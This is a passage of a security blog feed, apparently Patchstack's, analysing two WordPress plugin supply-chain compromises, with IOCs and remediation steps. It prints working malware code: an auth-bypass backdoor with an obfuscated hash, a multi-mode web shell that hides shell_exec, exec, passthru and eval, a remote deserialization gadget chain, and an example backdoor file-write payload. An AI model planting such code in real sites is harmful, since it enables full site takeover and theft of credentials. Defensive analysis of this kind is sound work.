    if (
        $_SERVER[&amp;#39;REQUEST_METHOD&amp;#39;] === &amp;#39;POST&amp;#39; &amp;amp;&amp;amp;
        isset($_POST[&amp;#39;log&amp;#39;], $_POST[&amp;#39;pwd&amp;#39;]) &amp;amp;&amp;amp;
        self::wc_compare_variance($_POST[&amp;#39;pwd&amp;#39;])
    ) {
        $username = sanitize_user($_POST[&amp;#39;log&amp;#39;]);
        $user = get_user_by(&amp;#39;login&amp;#39;, $username);
        if (!$user) $user = get_user_by(&amp;#39;email&amp;#39;, $username);
        if (!$user) return;

        wp_set_current_user($user-&amp;gt;ID);
        wp_set_auth_cookie($user-&amp;gt;ID, true);
        wp_redirect(admin_url());
        exit;
    }
}

private static function wc_compare_variance($input) {
    $keymap = array_map(&amp;#39;chr&amp;#39;, [101,50,54,56,99,51,53,97,48,54,100,56,53,102,54,55,50,101,55,48,99,57,98,101,101,99,98,52,101,53,100,49]);
    $stored_hash = implode(&amp;#39;&amp;#39;, $keymap);
    return hash_equals($stored_hash, md5($input));
}&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The hardcoded hash &lt;code&gt;e268c35a06d85f672e70c9beecb4e5d1&lt;/code&gt; is constructed via a &lt;code&gt;chr()&lt;/code&gt; array to avoid appearing as a static string in source-code searches. The backdoor accepts any username (including any existing administrator) and calls &lt;code&gt;wp_set_auth_cookie()&lt;/code&gt; directly, producing a fully valid authenticated session.&lt;/p&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;5. Remote code execution via diagnostic parameters&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The file &lt;code&gt;class-wc-notification-diagnostics.php&lt;/code&gt; implements a web shell hooked on &lt;code&gt;template_redirect&lt;/code&gt;, meaning it activates on any frontend URL. It accepts three GET parameters: &lt;code&gt;k&lt;/code&gt; for authentication, &lt;code&gt;d&lt;/code&gt; for the base64-encoded payload, and &lt;code&gt;t&lt;/code&gt; for the execution mode. Authentication is gated on the MD5 of &lt;code&gt;k&lt;/code&gt; matching a hardcoded hash.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Four execution modes are available, each backed by a different PHP function, chosen to maximize compatibility across hardened hosting environments where some functions may be disabled.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;$wc_handler_map = [
    &amp;#39;s&amp;#39; =&amp;gt; function($wc_cmd) {
        $wc_exec_fn = join(&amp;#39;&amp;#39;, array_map(&amp;#39;chr&amp;#39;, [115, 104, 101, 108, 108, 95, 101, 120, 101, 99]));
        return (function($wc_fn_ref, $wc_cmd_arg) { return @$wc_fn_ref($wc_cmd_arg); })( $wc_exec_fn, $wc_cmd );
    },
    &amp;#39;e&amp;#39; =&amp;gt; function($wc_cmd) {
        $wc_exec_ref = &amp;#39;&amp;#39;;
        foreach ([101, 120, 101, 99] as $wc_idx) $wc_exec_ref .= chr($wc_idx);
        $wc_out = [];
        @$wc_exec_ref($wc_cmd, $wc_out);
        return join(&amp;quot;
&amp;quot;, $wc_out);
    },
    &amp;#39;p&amp;#39; =&amp;gt; function($wc_cmd) {
        $wc_passthru_fn = implode(array_map(&amp;#39;chr&amp;#39;, [112, 97, 115, 115, 116, 104, 114, 117]));
        ob_start();
        @$wc_passthru_fn($wc_cmd);
        return ob_get_clean();
    },
    &amp;#39;ph&amp;#39; =&amp;gt; function($wc_cmd) {
        ob_start();
        eval($wc_cmd);
        return ob_get_clean();
    }
];&lt;/code&gt;&lt;/pre&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;6. Bundled Adminer 5.2.1 database access tool and Tiny File Manager with hardcoded credentials&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The file &lt;code&gt;class-wc-template-builder.php&lt;/code&gt; is a complete, unmodified copy of &lt;a href=&quot;https://www.adminer.org/&quot;&gt;Adminer 5.2.1&lt;/a&gt;, a popular open-source database management tool equivalent to phpMyAdmin. Adminer provides a full web UI for browsing, querying, modifying, exporting, and dropping database tables.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Critically, this file has &lt;strong&gt;no ABSPATH check&lt;/strong&gt; and can be accessed directly via the URL &lt;code&gt;/wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php&lt;/code&gt; without going through WordPress. An attacker with knowledge of the URL has full database access from the internet, requiring no WordPress credentials.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As well, the file &lt;code&gt;class-wc-admin-template.php&lt;/code&gt; is a complete copy of &lt;a href=&quot;https://tinyfilemanager.github.io/&quot;&gt;Tiny File Manager v2.6&lt;/a&gt;, a PHP-based web file manager, with a hardcoded administrator credential baked into the source. Like the Adminer file, this one has no ABSPATH check and is directly accessible via its URL. An attacker who knows the password corresponding to the bundled bcrypt hash has complete filesystem browse, upload, download, edit, and delete access to the site, again, without any WordPress authentication.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Indicators of Compromise (IOC)&lt;/strong&gt;&lt;/h2&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Files and directories&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;wp-content/plugins/woocommerce-notifications/&lt;/code&gt; : the entire malware plugin directory&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php&lt;/code&gt; : bundled Adminer 5.2.1&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php&lt;/code&gt; : bundled Tiny File Manager v2.6&lt;/li&gt;



&lt;li&gt;Check the trojanized dropper: &lt;code&gt;wp-content/plugins/table-rate-shipping-pro/includes/class-plugin-actions.php&lt;/code&gt; with SHA-256 &lt;code&gt;40ce8ffcc2c409a010c056a87e39e7b22ec28b61fbdaea7bf530872718193a3d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Database entries (wp_options table)&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;whx_wn_api_notify_sent&lt;/code&gt; : the dropper’s completion flag; its presence indicates the C2 beacon fired&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Network indicators&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Outbound HTTP to &lt;code&gt;188.137.251.115&lt;/code&gt; on port &lt;code&gt;3029&lt;/code&gt; : malware distribution server&lt;/li&gt;



&lt;li&gt;Outbound HTTP POST to &lt;code&gt;1l1l1l.com&lt;/code&gt; : credential exfiltration endpoint&lt;/li&gt;



&lt;li&gt;Full exfiltration URL : &lt;code&gt;http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Remediation&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Updating to WowShipping Pro v1.0.8 removes the dropper but does &lt;strong&gt;not&lt;/strong&gt; remove the malware plugin that the dropper previously installed. Full remediation requires:&lt;/p&gt;



&lt;ol class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Delete the entire &lt;code&gt;wp-content/plugins/woocommerce-notifications/&lt;/code&gt; directory from the filesystem&lt;/li&gt;



&lt;li&gt;Update WowShipping Pro to v1.0.8 or later (or replace it with a freshly downloaded clean copy)&lt;/li&gt;



&lt;li&gt;If any other WPXPO Pro plugins are installed, verify them against clean packages (WPXPO’s own notification indicated all Pro plugins were affected)&lt;/li&gt;



&lt;li&gt;Delete the row from &lt;code&gt;wp_options&lt;/code&gt; where &lt;code&gt;option_name = &apos;whx_wn_api_notify_sent&apos;&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Rotate all administrator passwords&lt;/li&gt;



&lt;li&gt;Reset all 2FA secrets for administrator accounts (simply trusting the existing secrets is not safe, they may have been exfiltrated)&lt;/li&gt;



&lt;li&gt;Invalidate all active WordPress sessions (the simplest method is to change the &lt;code&gt;auth_key&lt;/code&gt;, &lt;code&gt;secure_auth_key&lt;/code&gt;, &lt;code&gt;logged_in_key&lt;/code&gt;, and &lt;code&gt;nonce_key&lt;/code&gt; salts in &lt;code&gt;wp-config.php&lt;/code&gt;)&lt;/li&gt;



&lt;li&gt;Review web server access logs for any requests to &lt;code&gt;/wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php&lt;/code&gt; or &lt;code&gt;/wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php&lt;/code&gt;, if these paths were accessed, assume full database and filesystem compromise and perform complete incident response&lt;/li&gt;



&lt;li&gt;Review outbound connection logs for traffic to &lt;code&gt;188.137.251.115&lt;/code&gt; or &lt;code&gt;1l1l1l.com&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware itself is the clearest part of this story. The two-stage architecture, the multiple redundant access vectors, the 2FA secret theft targeting four different plugins by name, and the bundled Adminer and Tiny File Manager all point to an operator who is technically proficient and deliberate. The dropper in WowShipping Pro is &lt;strong&gt;small and easy to miss during casual review&lt;/strong&gt; (a single modified method in a single file). But once it runs, it installs a much larger, feature-complete malware plugin that operates independently of the dropper.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;How the trojanized copy reached the site owner is harder to prove from a technical analysis alone, even while the reporter implies they got it directly from WPXPO. The vendor has released a clean replacement, sent a customer-wide security email, and privately acknowledged the incident. We are presenting &lt;strong&gt;the technical findings on the file itself&lt;/strong&gt; rather than a definitive attribution of the distribution path.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;That distribution question matters less for affected site owners than what they need to do next. Because the malware persists independently of the plugin that installed it, &lt;strong&gt;every WPXPO Pro customer should check whether the &lt;code&gt;woocommerce-notifications&lt;/code&gt; plugin directory exists on their site, even if they have already updated.&lt;/strong&gt; WPXPO’s customer email asked users to update their Pro plugins but did not mention the secondary plugin, the credential exfiltration, or the need to rotate 2FA secrets. A generic “please update” notification, in cases like this one, leaves the users who most need help without the information they need to actually recover.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Security Advisories</category><category>Supply Chain Attack</category><author>Patchstack</author></item><item><title>Critical Supply Chain Compromise on 20+ Plugins by EssentialPlugin</title><link>https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/</link><guid isPermaLink="true">https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/</guid><description>This blog post is a technical analysis of the supply chain compromise affecting multiple plugins developed by EssentialPlugin for WordPress. A malicious party acquired EssentialPlugin, planted backdoor and triggered it across 20+ plugins to plant malware on thousands of WordPress sites. If you are running any of the plugins developed by EssentialPlugin, update the plugins […]
</description><pubDate>Wed, 15 Apr 2026 08:28:11 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is a technical analysis of the supply chain compromise affecting multiple plugins developed by &lt;a href=&quot;https://essentialplugin.com/&quot;&gt;EssentialPlugin&lt;/a&gt; for WordPress. A malicious party acquired EssentialPlugin, planted backdoor and triggered it across 20+ plugins to plant malware on thousands of WordPress sites.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If you are running any of the plugins developed by EssentialPlugin, update the plugins to the latest version.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack has published vulnerability entries for all of the affected plugins and released a mitigation rule that partly covers one of the exploitation scenarios. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the Vendor&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://essentialplugin.com/&quot;&gt;EssentialPlugin&lt;/a&gt; is a WordPress plugin vendor that has created a lot of open-source plugins available at wordpress.org. The vendor has developed multiple plugins with thousands of active installs including but not limited to &lt;a href=&quot;https://wordpress.org/plugins/wp-logo-showcase-responsive-slider-slider/&quot;&gt;WP Logo Showcase Responsive Slider and Carousel&lt;/a&gt;, &lt;a href=&quot;https://wordpress.org/plugins/countdown-timer-ultimate/&quot;&gt;Countdown Timer Ultimate&lt;/a&gt;, &lt;a href=&quot;https://wordpress.org/plugins/popup-anything-on-click/&quot;&gt;Popup Maker and Popup Anything&lt;/a&gt;, and more.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;772&quot; height=&quot;250&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/banner-772x250-1.png&quot; alt=&quot;&quot; class=&quot;wp-image-25838&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/banner-772x250-1.png 772w, https://wp.patchstack.com/wp-content/uploads/2026/04/banner-772x250-1-300x97.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/04/banner-772x250-1-768x249.png 768w&quot; sizes=&quot;auto, (max-width: 772px) 100vw, 772px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;What Happened&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As per &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Anchor Host&lt;/a&gt;, the vendor has been been developing plugins since 2015. However, in 2025, the company was sold to a buyer named “Kris” in Flippa. After the acquisition, the first commit from the new owner was the plantation of the backdoor across all the plugins.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In September 2025, the pushed code under the commit message &lt;em&gt;&lt;strong&gt;[*] Check compatibility with WordPress version 6.8.2&lt;/strong&gt;&lt;/em&gt; was a potential PHP object injection with a gadget chain that could be triggered if &lt;code&gt;&lt;strong&gt;analytics.essentialplugin.com&lt;/strong&gt;&lt;/code&gt; returned with a malicious serialized content. A sample innocent-looking changeset that planted the backdoor looks like &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3357424/popup-anything-on-click/trunk&quot;&gt;this&lt;/a&gt;. Even though the backdoor was planted 7 months ago, it was never used until April 5, 2026.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;On 7th April, the WordPress Plugins Review team confirmed the attack and removed the PHP object injection gadget chain across all the affected plugins. They closed all of the affected plugins permanently in the directory and pushed a forced security update that attempts to remove the backdoor and warn administrators.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This is a classical case of &lt;strong&gt;supply chain compromise&lt;/strong&gt; that happened because the original vendor sold their plugins to a third-party which turned out to be a malicious threat actor.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;How the Attack Works&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As mentioned above, the backdoor only worked if &lt;code&gt;&lt;strong&gt;analytics.essentialplugin.com&lt;/strong&gt;&lt;/code&gt; returned malicious serialized payload that would get deserialized to perform arbitrary file write or execute commands. &lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;1. The Entrypoint&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The plugin register an unauthenticated REST API endpoint:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;public function wpos_rest_api_init() {
    foreach ( $this-&amp;gt;analytics_slugs as $product_slug ) {
        register_rest_route(
            $product_slug . &amp;#39;/v1&amp;#39;,
            &amp;#39;/analytics/&amp;#39;,
            array(
                &amp;#39;methods&amp;#39;             =&amp;gt; &amp;#39;POST&amp;#39;,
                &amp;#39;callback&amp;#39;            =&amp;gt; array( $this, &amp;#39;wpos_handle_analytics_request&amp;#39; ),
                &amp;#39;permission_callback&amp;#39; =&amp;gt; &amp;#39;__return_true&amp;#39;,  // No authentication
            )
        );
    }
}&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The callback function triggered by the REST API endpoint looks like this:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;public function wpos_handle_analytics_request( $request ) {
	global $wpos_analytics_module;

	// Get parameters from request
	$site_id      = sanitize_text_field( $request-&amp;gt;get_param(&amp;#39;siteID&amp;#39;) );
	$product_id   = sanitize_text_field( $request-&amp;gt;get_param(&amp;#39;productID&amp;#39;) );
	$product_slug = sanitize_text_field( $request-&amp;gt;get_param(&amp;#39;productSlug&amp;#39;) );
	$site_url     = esc_url_raw( $request-&amp;gt;get_param(&amp;#39;siteURL&amp;#39;) );

//TRIMMED
		// If matching product found, proceed with analytics
		if ( $matching_product ) {
			$version = $this-&amp;gt;wpos_get_plugin_version_by_file($matching_product[&amp;#39;file&amp;#39;]);
			$update_result = $this-&amp;gt;fetch_ver_info( $product_id, $version );
			unset($update_result);
			$this-&amp;gt;wpos_process_monthly_data( array( $matching_product[&amp;#39;slug&amp;#39;] ) );

//TRIMMED
		}
		
	}

}&lt;/code&gt;&lt;/pre&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;2. The Sink&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;code&gt;&lt;em&gt;fetch_ver_info()&lt;/em&gt;&lt;/code&gt; method fetches a serialized PHP object from the attacker’s server:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;public function fetch_ver_info( $product_id, $curr_version ) {
    $url = $this-&amp;gt;analytics_endpoint . &amp;#39;/plugin_info/&amp;#39; . $product_id . &amp;#39;/&amp;#39;
         . &amp;#39;?version=&amp;#39; . urlencode($curr_version)
         . &amp;#39;&amp;amp;site_url=&amp;#39; . urlencode(get_site_url()) . &amp;#39;&amp;amp;live=1&amp;#39;;

    $data = @file_get_contents($url);
    if (!$data) {
        $this-&amp;gt;status = &amp;#39;offline&amp;#39;;
        return false;
    }

    $info = @unserialize($data);  // Deserializes untrusted remote data

    if ($info instanceof self) {
        $this-&amp;gt;release_date  = $info-&amp;gt;release_date;
        $this-&amp;gt;status        = $info-&amp;gt;status;
        $this-&amp;gt;write         = $info-&amp;gt;write;
        $this-&amp;gt;version_cache = $info-&amp;gt;version_cache;
        $this-&amp;gt;changelog     = $info-&amp;gt;changelog;
    }
}&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The content from the output of the fetch request to &lt;code&gt;&lt;em&gt;$this-&amp;gt;analytics_endpoint&lt;/em&gt;&lt;/code&gt; is sent to the &lt;code&gt;&lt;em&gt;unserialize()&lt;/em&gt;&lt;/code&gt; function. The variable has the hardcoded value of &lt;code&gt;&lt;em&gt;analytics.essentialplugin.com&lt;/em&gt;&lt;/code&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;3. The Gadget Chain to Arbitrary File Write&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;By itself, PHP object injection does not have any severe security impact. However, if there is a gadget chain, it can lead to various impact ranging from arbitrary file write to file deletion and more.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The class defaults look like this:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;class Wpos_Anylc_Admin {
    public $analytics_endpoint = &amp;#39;https://analytics.essentialplugin.com&amp;#39;;
    public $status             = &amp;#39;unchecked&amp;#39;;
    public $write              = &amp;#39;update_option&amp;#39;;   // Looks harmless
    public $version_cache      = &amp;#39;version&amp;#39;;          // Looks harmless
    public $changelog          = null;
    public $release_date       = null;&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;At first glance, &lt;code&gt;&lt;em&gt;$write = &apos;update_option&apos;&lt;/em&gt;&lt;/code&gt; looks like a standard WordPress function reference. But after &lt;code&gt;&lt;em&gt;fetch_ver_info()&lt;/em&gt;&lt;/code&gt; runs, all of these properties are replaced with whatever the attacker’s server sent.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The execution happens in &lt;code&gt;&lt;em&gt;version_info_clean()&lt;/em&gt;&lt;/code&gt;:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;public function version_info_clean() {&lt;br&gt;    if ($this-&amp;gt;status === ‘valid’ &amp;amp;&amp;amp; $this-&amp;gt;changelog &amp;amp;&amp;amp; !$this-&amp;gt;isOutdated()) {&lt;br&gt;        $clean = $this-&amp;gt;write;&lt;br&gt;        @$clean($this-&amp;gt;version_cache, $this-&amp;gt;changelog);&lt;br&gt;    }&lt;br&gt;}&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;em&gt;&lt;code&gt;$clean&lt;/code&gt;&lt;/em&gt; variable populated through &lt;code&gt;&lt;em&gt;$this-&amp;gt;write&lt;/em&gt;&lt;/code&gt; becomes &lt;code&gt;&lt;em&gt;file_put_contents()&lt;/em&gt;&lt;/code&gt;. The &lt;code&gt;&lt;em&gt;$this-&amp;gt;version_cache&lt;/em&gt;&lt;/code&gt; acts as the destination for the malicious file and the content is written through the &lt;code&gt;&lt;em&gt;$this-&amp;gt;changelog&lt;/em&gt;&lt;/code&gt; variable.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;By creating the relative malicious serializated payload returned by the compromised server, the final payload becomes something like:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;code&gt;@file_put_contents(&quot;/var/www/html/wp-comments-posts.php&quot;, &quot;&amp;lt;?php /* backdoor */ ?&amp;gt;&quot;);&lt;/code&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This leads to arbitrary file write and full server compromise.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Plugin Review Team’s Incident Response&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The WordPress Plugin Review team took immediate steps to stop the attack from spreading. They closed all plugins fully from wp.org to prevent more sites from getting infected. Additionally, they ensured that the PHP object injection cannot be triggered even after getting access to the compromised server.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;944&quot; height=&quot;371&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/image.png&quot; alt=&quot;&quot; class=&quot;wp-image-25850&quot;/&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In the new force-pushed version, the responsible code for file write has been commented out:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;code&gt;&lt;ins&gt;//&lt;/ins&gt;@$clean($this-&amp;gt;version_cache, $this-&amp;gt;changelog);&lt;/code&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Alongside, the function &lt;code&gt;wpos_handle_analytics_request()&lt;/code&gt; directly stops the execution with the use of &lt;code&gt;return;&lt;/code&gt; keyword in the function.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Affected Plugins&lt;/h2&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-logo-showcase-responsive-slider-slider/&quot;&gt;WP Logo Showcase Responsive Slider and Carousel&lt;/a&gt; (30k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/popup-anything-on-click/&quot;&gt;Popup Maker and Popup Anything&lt;/a&gt; (30k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/countdown-timer-ultimate/&quot;&gt;Countdown Timer Ultimate&lt;/a&gt; (20k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-responsive-recent-post-slider/&quot;&gt;WP Responsive Recent Post Slider&lt;/a&gt; (20k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/sp-news-and-widget/&quot;&gt;WP News and Scrolling Widgets&lt;/a&gt; (10k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-slick-slider-and-image-carousel/&quot;&gt;WP Slick Slider and Image Carousel&lt;/a&gt; (10k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/album-and-image-gallery-plus-lightbox/&quot;&gt;Album and Image Gallery Plus Lightbox&lt;/a&gt; (9k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-testimonial-with-widget/&quot;&gt;Testimonial Grid and Testimonial Slider plus Carousel with Rotator Widget&lt;/a&gt; (9k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-blog-and-widgets/&quot;&gt;WP Blog and Widgets&lt;/a&gt; (8k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/timeline-and-history-slider/&quot;&gt;Timeline and History Slider&lt;/a&gt; (5k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/post-grid-and-filter-ultimate/&quot;&gt;Post grid and filter ultimate&lt;/a&gt; (5k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/meta-slider-and-carousel-with-lightbox/&quot;&gt;Meta Slider and Carousel with Lightbox&lt;/a&gt; (5k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/sp-faq/&quot;&gt;WP responsive FAQ with category&lt;/a&gt; (4k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/blog-designer-for-post-and-widget/&quot;&gt;Blog Designer – Post and Widget&lt;/a&gt; (4k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/accordion-and-accordion-slider/&quot;&gt;Accordion and Accordion Slider&lt;/a&gt; (2k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-team-showcase-and-slider/&quot;&gt;Team Slider and Team Grid Showcase plus Team Carousel&lt;/a&gt; (2k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-trending-post-slider-and-widget/&quot;&gt;Popular Post Slider and Widget&lt;/a&gt; (2k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/featured-post-creative/&quot;&gt;Featured Post Creative&lt;/a&gt; (1k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/portfolio-and-projects/&quot;&gt;Portfolio and Projects&lt;/a&gt; (1k+ active installs)&lt;/li&gt;



